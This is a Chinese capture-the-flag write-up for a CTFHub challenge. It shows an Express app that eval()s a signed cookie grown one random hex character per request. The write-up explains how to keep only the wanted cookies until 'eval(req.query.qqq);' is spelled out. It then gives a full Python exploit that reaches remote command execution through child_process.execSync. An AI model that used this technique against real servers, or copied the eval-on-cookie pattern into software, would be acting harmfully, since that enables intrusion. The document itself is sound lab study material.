附件中包含完整源代码
复现平台CTFHUB
app.js:
const express = require('express');
const cookieParser = require('cookie-parser')
const crypto = require('crypto');
const randomHex = () => '0123456789abcdef'[~~(Math.random() * 16)];
const app = express();
app.use(cookieParser(crypto.randomBytes(20).toString('hex')));
app.get('/', function (_, res) {
res.cookie('code', '', { signed: true })
.sendFile(__dirname + '/index.html');
});
app.get('/random', function (req, res) {
let result = null;
if (req.signedCookies.code.length >= 40) {
const code = Buffer.from(req.signedCookies.code, 'hex').toString();
try {
result = eval(code);
} catch {
result = '(execution error)';
}
res.cookie('code', '', { signed: true })
.send({ progress: req.signedCookies.code.length, result: `Executing '${code}', result = ${result}` });
} else {
res.cookie('code', req.signedCookies.code + randomHex(), { signed: true })
.send({ progress: req.signedCookies.code.length, result });
}
});
app.listen(5000);
审计代码发现Express
中间件cookieParser
的签名使用的是随机生成的20位16进制字符,不可破解
但当req.signedCookies.code
没有达到40长度时会将在原cookie里添加一个randomHex()
重新返回一个符合规范的Cookie
因而只要保留需要的cookie进行重复操作,拼接完整语句就能实现RCE
然而40字符解码后20字符,不能实现nodejs
中的调用系统命令
遂采用eval(req.query.qqq);
的方式获取GET参数以绕过
exp:
import requests
import json
def getChar(text):
for i in range(len(text)):
if text[i] == ".":
return text[i-1]
def getCookies(text):
for i in range(len(text)):
if text[i] == "=":
p1 = i
if text[i] == ";":
p2 = i
break
ret = {"code":text[p1+1:p2], "Path":"/"}
return ret
a = "6576616c287265712e71756572792e717171293b" #eval(req.query.qqq);
b = 'require("child_process").execSync("calc").toString()'
url = "http://subdomain.ctfhub.com:10800/random"
s = requests.get(url="http://subdomain.ctfhub.com:10800/")
print(url+f"?a={b}")
cookies = getCookies(s.headers["Set-Cookie"])
print(cookies)
i = 0
while i < len(a):
s = requests.get(url=url,cookies=cookies)
if getChar(s.headers["Set-Cookie"]) == a[i]:
cookies = getCookies(s.headers["Set-Cookie"])
i = i + 1
print(s.headers["Set-Cookie"])
s = requests.get(url=url+f"?qqq={b}",cookies=cookies)
print(s.text)